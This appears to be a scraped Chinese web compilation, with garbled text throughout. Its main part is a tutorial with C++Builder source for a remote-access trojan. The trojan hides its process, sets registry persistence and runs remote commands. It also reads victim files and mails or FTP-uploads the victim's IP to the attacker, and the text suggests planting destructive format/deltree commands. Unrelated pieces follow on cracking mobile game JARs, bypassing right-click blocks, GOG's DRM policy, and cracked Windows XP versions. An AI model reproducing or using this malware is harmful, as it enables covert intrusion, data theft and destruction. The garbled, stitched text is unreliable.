1.木马是破除什么东西
2.什么软件可以破除手机网游
3.有些网站禁止右键功能,怎么解决它?
4.GOG 十周年:理想主义者的源码道路能走多远?
5.window XP有什么优点的地方啊?
6.å
³äºAPIï¼
木马是什么东西
木马是如何编写的(一)
特洛依木马这个名词大家应该不陌生,自从年“死牛崇拜”黑客小组公布Back Orifice以来,权破木马犹如平地上的除源惊雷,使在DosWindows时代中长大的授权中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的管理壁纸系统源码网络也有它邪恶的一面,一时间人心惶惶。破除
我那时在《电脑报》上看到一篇文章,源码大意是权破一个菜鸟被人用BO控制了,吓得整天吃不下饭、除源睡不着觉、授权上不了网,管理到处求救!破除呵呵,源码要知道,权破木马(Trojan)的历史是很悠久的:早在AT&T Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。
自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。
首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈难道你还给受害者传一个1兆多的动态链接库Msvbvm.dll吗?
启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。源码收徒Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。
Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有K左右那样。
我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL.DLL中的鸟函数了。
首先判断目标机的操作系统是Win9x还是WinNt:
{
DWORD dwVersion = GetVersion();
// 得到操作系统的版本号
if (dwVersion >= 0x)
// 操作系统是Win9x,不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
file://定义RegisterServiceProcess()函数的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL");
file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");
file://得到RegisterServiceProcess()函数的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
file://执行RegisterServiceProcess()函数,隐藏本进程
FreeLibrary(hDLL);
file://卸载动态链接库
}
}
这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:
{
char TempPath[MAX_PATH];
file://定义一个变量
GetSystemDirectory(TempPath ,MAX_PATH);
file://TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径
SystemPath=AnsiString(TempPath);
file://格式化TempPath字符串,使之成为能供编译器使用的样式
CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi.exe").c_str() ,FALSE);
file://将自己拷贝到%System%目录下,并改名为Tapi.exe,伪装起来
Registry=new TRegistry;
file://定义一个TRegistry对象,准备修改注册表,这一步必不可少
Registry->RootKey=HKEY_LOCAL_MACHINE;
file://设置主键为HKEY_LOCAL_MACHINE
Registry->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);
file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之
try
{
file://如果以下语句发生异常,跳至catch,以避免程序崩溃
if(Registry->ReadString("crossbow")!=SystemPath+"\\Tapi.exe")
Registry->WriteString("crossbow",SystemPath+"\\Tapi.exe");
file://查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi.exe
file://如果不是,就写入以上键值和内容
}
catch(...)
{
file://如果有错误,什么也不做
}
}
好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。
接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入,这是木马的端口号,当然你也可以用别的。但是你要注意不要用以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,房产分销源码因此尽量使用以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的号端口也是SMTP协议的专用端口。
再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:
{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
file://定义了一堆待会儿要用到的变量
sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win.BAT")).c_str());
file://在%System%下建立一个文本文件Win.bat,作为临时文件使用
AnsiString temp=Socket->ReceiveText();
file://接收客户端(攻击者,也就是你自己)传来的数据
}
好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:
{
if(temp.SubString(0,9)=="edit conf")
file://如果接受到的字符串的前9个字符是“edit conf”
{
int number=temp.Length();
file://得到字符串的长度
int file_name=atoi((temp.SubString(,1)).c_str());
file://将第个字符转换成integer型,存入file_name变量
file://为什么要取第个字符,因为第个字符是空格字符
content=(temp.SubString(,number-)+'\n').c_str();
file://余下的字符串将被作为写入的内容写入目标文件
FILE *fp=NULL;
char filename[];
chmod("c:\\autoexec.bat",S_IREADS_IWRITE);
chmod("c:\\config.sys",S_IREADS_IWRITE);
file://将两个目标文件的属性改为可读可写
if(file_name==1)
sprintf(filename,"%s","c:\\autoexec.bat");
file://如果第个字符是1,就把Autoexec.bat格式化
else if(file_name==2)
sprintf(filename,"%s","c:\\config.sys");
file://如果第个字符是1,就把Config.sys格式化
times_of_try=0;
file://定义计数器
while(fp==NULL)
{
file://如果指针是空
fp=fopen(filename,"a+");
file://如果文件不存在,创建之;如果存在,准备在其后添加
file://如果出错,文件指针为空,这样就会重复
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try>)
{
file://如果已经试了次了,仍未成功
Socket->SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://跳至END处
}
}
fwrite(content,sizeof(char),strlen(content),fp);
file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!
fclose(fp);
file://写完后关闭目标文件
Socket->SendText("Sucess");
file://然后发回“Success”的成功信息
}
}
上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:
{
else if(temp.SubString(0,3)=="dir")
{
file://如果前3个字符是“dir”
int Read_Num;
char * CR_LF="\n";
int attrib;
char *filename;
DIR *dir;
struct dirent *ent;
int number=temp.Length();
file://得到字符串的长度
AnsiString Dir_Name=temp.SubString(5,number-3);
file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名
if(Dir_Name=="")
{
file://如果目录名为空
Socket->SendText("Fail By Open DIR's Name");
file://返回“Fail By Open DIR's Name”信息
goto END;
file://跳到END
}
char * dirname;
dirname=Dir_Name.c_str();
if ((dir = opendir(dirname)) == NULL)
{
file://如果打开目录出错
Socket->SendText("Fail by your DIR's name!");
file://返回“Fail By Your DIR's Name”信息
goto END;
file://跳到END
}
times_of_try=0;
while(fp==NULL)
{
file://如果指针是NULL
fp=fopen(TempFile,"w+");
file://就创建system\Win.bat准备读和写;如果此文件已存在,则会被覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try>)
{
file://如果已经试了次了,仍未成功(真有耐心!)
Socket->SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
while ((ent = readdir(dir)) != NULL)
{
file://如果访问目标目录成功
if(*(AnsiString(dirname)).AnsiLastChar()!='\\')
file://如果最后一个字符不是“\”,证明不是根目录
filename=(AnsiString(dirname)+"\\"+ent->d_name).c_str();
file://加上“\”字符后将指针指向目录流
else
filename=(AnsiString(dirname)+ent->d_name).c_str();
file://如果是根目录,则不用加“\”
attrib=_rtl_chmod(filename, 0);
file://得到目标文件的访问属性
if (attrib & FA_RDONLY)
file://“&”字符是比较前后两个变量,如果相同返回1,否则返回0
fwrite(" R",sizeof(char),3,fp);
file://将目标文件属性设为只读
else
fwrite(" ",sizeof(char),3,fp);
file://失败则写入空格
if (attrib & FA_HIDDEN)
fwrite("H",sizeof(char),1,fp);
file://将目标文件属性设为隐藏
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib & FA_SYSTEM)
fwrite("S",sizeof(char),1,fp);
file://将目标文件属性设为系统
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib & FA_ARCH)
fwrite("A",sizeof(char),1,fp);
file://将目标文件属性设为普通
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib & FA_DIREC)
fwrite(" <DIR> ",sizeof(char),9,fp);
file://将目标文件属性设为目录
else
fwrite(" ",sizeof(char),9,fp);
file://失败则写入空格
fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp);
file://将目录名写入目标文件
fwrite(CR_LF,1,1,fp);
file://写入换行
}
fclose(fp);
file://关闭文件
closedir(dir);
file://关闭目录
FILE *fp1=NULL;
times_of_try=0;
while(fp1==NULL)
{
fp1=fopen(TempFile,"r");
file://打开Win.bat准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try>)
{
file://如果已经试了次了,仍未成功
Socket->SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
AnsiString Return_Text="";
char temp_content[];
for(int i=0;i<;i++) temp_content[i]='\0';
file://定义的一个空数组
Read_Num=fread(temp_content,1,,fp1);
file://从目标文件中读入前个字符
while(Read_Num==)
{
Return_Text=Return_Text+temp_content;
file://Return_Text变量加上刚才的个字符
for(int i=0;i<;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,,fp1);
file://重复
};
Return_Text=Return_Text+temp_content;
file://Return_Text变量加上刚才的个字符
fclose(fp1);
file://关闭目标文件
Socket->SendText(Return_Text);
file://返回Return_Text变量的内容
}
}
够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):
{
else if(temp.SubString(0,4)=="type")
{
file://如果前4个字符是“type”
int Read_Num;
int number=temp.Length();
AnsiString File_Name=temp.SubString(6,number-4);
file://将目标文件流存入File_Name变量中
times_of_try=0;
while(fp==NULL)
{
fp=fopen(File_Name.c_str(),"r");
file://打开目标文件准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try>)
{
file://如果已试了次了
Socket->SendText("Fail By Open File");
file://返回“Fail By Open File”的错误信息
goto END;
file://跳到END
}
}
AnsiString Return_Text="";
char temp_content[];
for(int i=0;i<;i++) temp_content[i]='\0';
file://定义一个空数组
Read_Num=fread(temp_content,1,,fp);
file://从目标文件中读入前个字符
while(Read_Num==)
{
Return_Text=Return_Text+temp_content;
file://Return_Text的内容加上刚才的字符
for(int i=0;i<;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,,fp);
file://重复
};
Return_Text=Return_Text+temp_content;
file://Return_Text的内容加上刚才的字符
fclose(fp);
file://关闭目标文件
Socket->SendText(Return_Text);
file://返回Return_Text的内容,即你查看文件的内容
}
}
咳咳!累死了!还是来点轻松的吧操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):
{
else if(temp=="open")
{
file://如果收到的temp的内容是“open”
mciSendString("set cdaudio door open", NULL, 0, NULL);
file://就弹出光驱的托盘
}
else if(temp=="close")
{
file://如果收到的temp的内容是“close”
mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);
file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^
}
}
接着就是交换目标机的鼠标左右键,代码如下:
{
else if(temp=="swap")
{
SwapMouseButton(1);
file://交换鼠标左右键,简单吧?
}
}
然后就是使目标机重新启动。但这里要区分WinNt和Win9xNT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:
{
else if(temp=="reboot")
{
file://如果收到的temp的内容是“temp”
DWORD dwVersion = GetVersion();
file://得到操作系统的版本号
if (dwVersion < 0x)
{
file://操作系统是WinNt,不是Win9x
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
file://定义变量
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, &hToken);
file://OpenProcessToken()这个函数的作用是打开一个进程的访问令牌
file://GetCurrentProcess()函数的作用是得到本进程的句柄
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
file://LookupPrivilegeValue()的作用是修改进程的权限
tkp.PrivilegeCount = 1;
file://赋给本进程特权
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
file://AdjustTokenPrivileges()的作用是通知Windows NT修改本进程的权利
ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);
file://强行退出WinNt并重启
}
else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
file://强行退出Win9x并重启
}
}
如果以上都不是,就让它在Dos窗口中执行传来的蛮准源码命令:
{
else
{
file://如果都不是
char * CR_TF="\n";
times_of_try=0;
while(fp==NULL)
{
fp=fopen(TempFile,"w+");
file://创建Win.bat,如果已存在就覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try>)
{
Socket->SendText("Fail By Open File");
file://返回“Fail By Open File”的信息
goto END;
file://跳到END
}
}
fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);
file://写入欲执行的命令
fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);
file://写入换行符
fclose(fp);
file://关闭Win.bat
system(TempFile);
file://执行Win.bat
Socket->SendText("Success");
file://返回“Success”信息
}
}
你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^
到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)
木马是如何编写的(三)
武汉 周侃
上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):
{
END:;
Socket->Close();
file://关闭服务
ServerSocket1->Active =true;
file://再次打开服务
if (NMSMTP1->Connected) NMSMTP1->Disconnect();
file://如果SMTP服务器已连接则断开
NMSMTP1->Host = "smtp..net";
file://选一个好用的SMTP服务器,如、、sina和btamail
NMSMTP1->UserID = "";
file://你SMTP的ID
try
{
NMSMTP1->Connect();
file://再次连接
}
catch(...)
{
goto NextTime;
file://跳到NextTime
}
NMSMTP1->PostMessage->FromAddress ="I don't know!";
file://受害者的Email地址
NMSMTP1->PostMessage->FromName = "Casualty";
file://受害者的名字
NMSMTP1->PostMessage->ToAddress->Text = "crossbow@.net";
file://将信发到我的邮箱,这一步很关键
NMSMTP1->PostMessage->Body->Text = AnsiString("Server Running on:") + NMSMTP1->LocalIP ;
file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接
NMSMTP1->PostMessage->Subject = "Server Running Now!";
file://信的主题
NMSMTP1->SendMail();
file://发送!
return;
file://返回
NextTime:
NMFTP1->Host = "ftp.go..com";
file://你的FTP服务器的地址
NMFTP1->UserID = "";
file://你的用户ID
NMFTP1->Port = ;
file://FTP端口号,一般为
NMFTP1->Password = "";
file://你的FTP的密码
if(NMFTP1->Connected) NMFTP1->Disconnect();
file://如果已连接就断开
try
{
NMFTP1->Connect();
file://再连接
}
catch(...)
{
return;
file://返回
}
AnsiString SendToSite = "Server Running on: " + NMFTP1->RemoteIP;
file://受害者的IP地址
FILE * Upload;
Upload = fopen(NMFTP1->RemoteIP.c_str(),"w+");
file://创建一个新文件准备写,如果已存在就覆盖
fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload);
file://写入以上的SendToSite的内容
fclose(Upload);
file://写完后关闭此文件
NMFTP1->RemoveDir("public_html");
file://删除public_html目录
NMFTP1->Upload(NMFTP1->RemoteIP, NMFTP1->RemoteIP);
file://上传!
}
啊,超长的OnClientRead事件终于写完了。最后别忘了要在此服务器源码文件中添加以下头文件:
#include <stdlib.h>
#include <dirent.h>
#include <fcntl.h>
#include <dos.h>
#include <sys\stat.h>
#include <winbase.h>
#include <stdio.h>
#include <process.h>
#include <io.h>
#include <mmsystem.h>
至此,服务器端(Server)程序已全部
什么软件可以破除手机网游
因为手机网游大部分是JAR客户端。所以我介绍的是jar相关
电脑端汉化修改破解主要的工具有:
很多工具先要安装好java运行工具
1.反编译工具,推荐x-jad,小颖,DJ等
反编译用于查看java源码,便于分析代码的结构为修改和破解打号基础。
2.直接修改class,推荐迷你手游的halo 2.0,或jclazz,jclazz是一个Java字节码查看器与反编译工具。支持java1.4到1.6版本的字节码。
直接修改class一般指java字节码的修改。
3.简便的汉化工具,使用java-class,也叫hhclass。魔器也是其中一种简便的分析和修改工具。
有些网站禁止右键功能,怎么解决它?
破除网页禁止右键种方法
1、在网页上任意处将右键按下,等跳出对话框时不要放开右键,将鼠标移至对话框,用鼠标左键点“确定”,在将鼠标移动到想要的连接处,放开右键!OK!
2、同“1”,只是将鼠标移至对话框,用回车去“确认”!
3、用组合键“SHIFT+F”!
4、在页面中点击右键,当出现警告窗口时,统计源码 phpthink左手按键盘上的ALT+F4或者CTRL+W键关闭提示窗口!
————以上的方法适用于仅禁用而没有隐藏右键菜单的网页————
5、先用鼠标左键进入该页,记录下该页地址,用下载工具“添加新任务”强行下载!(该方法适用于可以打开的连接)
6、同“4”,但是可以查看网页源代码,找到该连接后用下载工具“添加新任务”强行下载!(该方法适合比较简单的网页)
7、可以将该网页“另存”到硬盘上,修改后直接下载!(此法适用于有主页基础的人)
8、在IE设置禁用所有的脚本文件,大胆下载后在改回原来的设置!(此方法适用于对IE设置较了解的老鸟)
9、直接将想要的用左键拖着,然后按下WIN+D键,这样一来就可以拖到桌面上保存!(此方法适用于单手操作较灵活的同志)
、查看源代码如果发现用了这样的代码:
function stop(){
alert('XXXX,XXXX!');
return false;
}
document。
oncontextmenu=stop;
你可以在地址栏键入:java (document。oncontextmenu='')回车,确定对话匡后,直接。。。。。
、键盘上右手边WIN键旁边的那个菜单键也可以,只要把鼠标选中你要的或文字,按那个菜单键就可以了:)。
GOG 十周年:理想主义者的道路能走多远?
Epic Games宣布推出自家游戏商城,许以开发者诱人的分成比例,挖走了一些Steam的墙角,建立自己的独占游戏库,这种新店开业的风光姿态让各大游戏平台的竞争力再次受到考验。然而,在各大游戏平台中,GOG这个名字却很少被人提及。这家已经上线十年的游戏平台,许多玩家甚至都不知道它的存在。GOG与知名游戏厂商“波兰蠢驴”(CD PROJEKT)之间有着千丝万缕的联系,但这种存在感的缺失让人诧异。
GOG于月日开启了冬季大促,平台上超过%的游戏都参与了打折。作为一家充满理想主义气息的游戏平台,GOG背后有着十年的成长故事。成立于年的GOG,其缩写来源为“Good Old Game(优质老游戏)”,寄托了CD PROJEKT对传承经典的期望。当时数字发行逐渐兴起,而经典游戏却逐渐消失,GOG决定搜寻那些名噪一时的作品,改善老游戏的兼容性,使之重新在现代的数字平台上发售与运行。
实现这一理想的过程远比想象的艰难。因为年代久远和过程混乱,有些经典游戏的版权所有方已经难以考证,或是几经易手,源代码也彻底失落。即使千辛万苦地谈完授权,也要对游戏进行再次加工,去除DRM和BUG,并使之能在现代的操作系统上直接体验。这种考古式的付出,和不成正比的回报率,外人看来应该难以为继,但CD PROJEKT在GOG上坚持了十年。
尽管GOG有着良好的心意,但有限的游戏数量和小众的游戏品类遗憾地导致它一直未有突破。然而,GOG在年以后逐渐调整运营方向,尝试接纳并发售新款游戏。然而,由于一个理念之争,致使许多游戏开发者有所顾虑,不愿入驻。
争执的中心正是DRM,数字版权保护。作为开发者又是数字发行商的CD PROJEKT本应是这一保护手段的直接受益者,但在GOG创立之初,它却旗帜鲜明地提出了DRM-Free(无数字版权保护)的理念,并将DRM视为必须破除的枷锁。
这样一来,意味着无须破解,任何一份游戏都可以被直接拷贝成数百份去传播。这是否意味着技术防线告破,仅有的道德防线真的能阻止盗版者?对于这个问题,CD PROJEKT有自己的理解。从根本上说,用DRM加密来打击盗版是行不通的。如果一个付了钱,支持正版的消费者,在使用时却因为DRM加密而平添了不少麻烦,通过非法渠道下载的人却不会遇上这类烦心事。这显然有什么不对劲。
这种认知源自波兰蠢驴的发家经历。在上世纪年代的波兰,CD PROJEKT决意在盗版的土壤上卖出正版。他们从官方发行商签下了一批游戏的拷贝,并孤注一掷地花费重金将游戏翻译为波兰语,同时附加了羊皮纸地图、规则手册、原声CD等实物周边,而最终出售时,价格与盗版相差无几。这种“加量不加价”的耿直策略让CD PROJEKT在与盗版市场的博弈中取得了胜利,也坚信不疑地坚持着这一理念。
面对盗版与破解的永恒之争,CD PROJEKT做出了一个大胆的决定,在GOG上彻底发行DRM-Free版本:承认盗版的必然存在,不寄希望于只防一时的数字加密,而是以最良心的发售方式去吸引玩家。然而,与主流的加密方式相比,DRM-Free无疑是一步险棋,因此耗费重资开发游戏的厂商出于顾虑,往往不愿主动合作。
平台之争,何去何从?相比一枝独秀的Steam,强势入局的Epic游戏商城,十年至今仍默默无闻的GOG不禁让人惋惜。偏小众的游戏库、精挑细选的准入门槛,吸引的多是对老游戏情有独钟的群体,致使GOG更像是一家重温经典旧作的博物馆,而非提供新近游戏的发行商。相比Steam丰富得泛滥的游戏库,GOG慢工细活的性子注定让它错失许多热门游戏的红利。
游戏库的逐渐更新充实需要时间,我们已经可以看到CD PROJEKT在这一层面改进的努力。然而,新作数量增长有限的最大原因之一,莫过于厂商对于DRM-Free的顾虑。尽管游戏开发者尚不敢对人性下注,但DRM-Free对玩家的好处不言而喻。玩家不必特地激活游戏,也不必每次打开都接受一次DRM检测,单机游戏也无需全程联网,面临不必要的掉线威胁。已经下载的DRM-Free游戏完全相当于自己的所有物,可以直接在安装的根目录打开,平台客户端删掉,密码忘光也无妨。
不必通过客户端启动无疑是一个优点,平台之争愈演愈烈,涉猎丰富的玩家甚至要在电脑中同时安装几个启动器,意外的累赘。而为了争夺用户的独占游戏其实也让玩家的选择更加割裂。然而,相比本质上的商业竞争,GOG似乎并不把击败对手作为首要目的,而是一切以照顾玩家的体验优先。除了DRM-Free、社区愿望单、功能整洁、云存档以及功能仍然十分有限但志在实现跨平台共享游戏库的GOG互联外,GOG还在努力实现着自己的理想。
理想主义者的大梦?时至今日,“理想主义者”依然不是一个非常正面的词汇,多用于讽刺对世事的预想过于乐观,难以实现。然而,这个世界需要理想主义者,许多突破传统的变革既需要时代的推力,也需要一群固执者带动的努力。近年来,已经逐渐萌生了一种思潮,即正版玩家对DRM的反感:盗版玩家破解畅玩,正版玩家却成为防盗措施的受害者。这种怪象在未来或许能得到改变,而先见之明的CD PROJEKT和GOG已经走在了前面。
window XP有什么优点的地方啊?
Windows XP是个人计算机的一个重要里程碑,是实现.NET的基础。该系统集成了数码媒体、无线网络、远程网络等最新的技术和规范并具有极强的兼容性,更美观、更具个性的界面设计,Windows XP的出现将自由释放数字世界的无穷魅力,将为用户带来更加兴奋的全新感受!” 这是微软自夸的话,但不可否认的是,Windows XP确实是Windows史上性能最高的系统,它以NT为核心,拥有极其华丽的外观;它将Win9x/Me的用户带进一个既有Win般稳定,而操作却比Win9x/Me/更容易的使用环境。
Windows XP 各种版本比较
《说法一》
OEM:是给计算机厂商随着计算机贩卖的,也就是随机版。
RTM:错误:是给一些测试人员做测试用的(补充:全称为Release to Manufacture)。
正确:是给工厂大量压片的版本,内容跟正式版是一样的,不过RTM.也有出天评估版。但是说RTM.是测试版是错的。
RVL:是正式上架零售版。
OEM=RVL:只是它的安装内容的内定值不一样,所以会有分别。
随机版——能从全新的硬盘内安装,不支持升级式的安装
升级版——用升级式的安装,不支持全新的安装
零售版——则两种安装方式都支持,这也是为什么零售版的价格最贵
至于安装后的东西都一样,差别只是在支持的安装方式而己!
《说法二》
英文Corporate.版,就是微软的开发商零售版,目前更新的MSDN则又更新了部份驱动程序,这都已是百分百的正式版了。而目前网上流传的中文版,OEM.及EVAL.大都是用英文的 Corporate.版部分文件覆盖以破除激活限制。至于中文的RTL.版则跟英文Corporate.版一样是输入金钥就可免激活的。附注:OEM(随机)、EVAL(零售)、RTL(开发商零售)
《反对一》
不对吧!EVAL.= Evalutaion Copy.评估版(就是试用版啦)、RTL.= Retail.零售版。
中文RTL.(Retail)版不用激活?不用激活的版本叫做大量授权(Volume.License)版本,或称为Corporate.版,输入 Volume.license.key.(VLK),不用激活!中文零售版怎么会不用激活?那我去华彩买的零售版就不用激活啰?RVL.怎么会是零售版呢?你把RVL.和RTL.(Retail)搞混了!RVL.根本不是版本的名称。RVL.是一个Warez.Team,台湾分部叫RVL@TW.,它之间又释出一个.WinXP.RVL@TW.版本。这个版本真的是零售版吗?大大怀疑!!它是某中文版+英文Corpfiles档破解的。
《说法二再论》
不想用字义去解释版本,就是有些版本不好解释,所以才用一些简单的定义来形容。目前市面上根本不可能有「零售版」流出,因为每个都有微软的识别追踪码,而流通在网络上的EVAL版,是微软帮媒体记者编辑上课给的,是所谓的「评估版」没错,你输入的金钥是天的,就可用天,输入的是天的,就可用天。而这个版本跟月日要上市零售的是一样的,当你购买时,会有一个独一的金钥,上网激活后就是合法授权的使用者,所以我说这一版就是零售版。至于RTL.版本,我已经解释得很清楚了,它的EULAID和英文的Corporate版是一样的,国别不同而已。
《说法二附注》
在i文件夹里有一个eula.txt,最后有一行EULAID,就是你的版本:
1.如果是WX.开头是正式版,WB.开头是测试版。
2.如果有_PRE,是家庭版,_PRO是专业版。
3._OEM,_RVL都是需要启动版,_RTL有免启动金钥,就可免启动。
4.光碟标签并无意义,是制作光盘的人自己加加进去的。
5.OEM.版的说明,中文版应是一半中文一半英文,如果全是英文,那就是来自英文的Corporate版(破解)。
6.EVAL(RVL)版的说明全是中文。
7.OEM:WX.2_PRO_OEM_TW(or.WX.2_PRE_OEM_TW)
8.EVAL:WX.2_PRO_RVL_TW(or.WX.2_PRE_RAL_TW)
9.RTL.:WX.4_PRO_RTL_TW中文正式版的版本是EULAID:WX.4_PRO_RTL_CN
《反对一反驳》
Windows XP中文版版本提供各位参考:
关于繁体中文版本,小弟提供目前所知。最早出现的应该是:
1.cht__xfre.pro_whistler.iso这个版本,看档名就知道,这是天评估版本。因为Fre的关系,文件名称有Fre代表这是测试版。
2.OEM.版的,我所知最早是在edonkey这个分享软件流通的,可惜的是流通的并不是ISO文件,而是从光盘制造出来的版本,这个版本我有装过,应该是正式的OEM版,需要产品激活。
3.FXP@HK版:这个版本是用中文天评估版去破解的,很可惜,破解失败,不仅在产品激活的破解有问题,就连天试用都没有破解。建议大家不要浪费时间下载这版本。
4.RVL@TW版:号称是正式版,不过我强烈质疑!我确定它是用某个中文版本+英文版的Corpfiles破解,只要输入VLK(Volume.license.Key.大量授权版本序号,或称为企业版、Corporate版),不用产品印V领的中文版本修改了,只有它们知道。另外,大家都把.RVL.和RTL(Retail)搞错了,RVL是一个Warez.Team,Retail是零售意思。
我提出证据如下:
(a)看光盘.i下的文件日期,只有Corpfiles.那几个文件日期和其它不一样,Corpfiles的文件日期是.-8-,其它文件--。很明显的,这是用
Corpfiles破解过的。
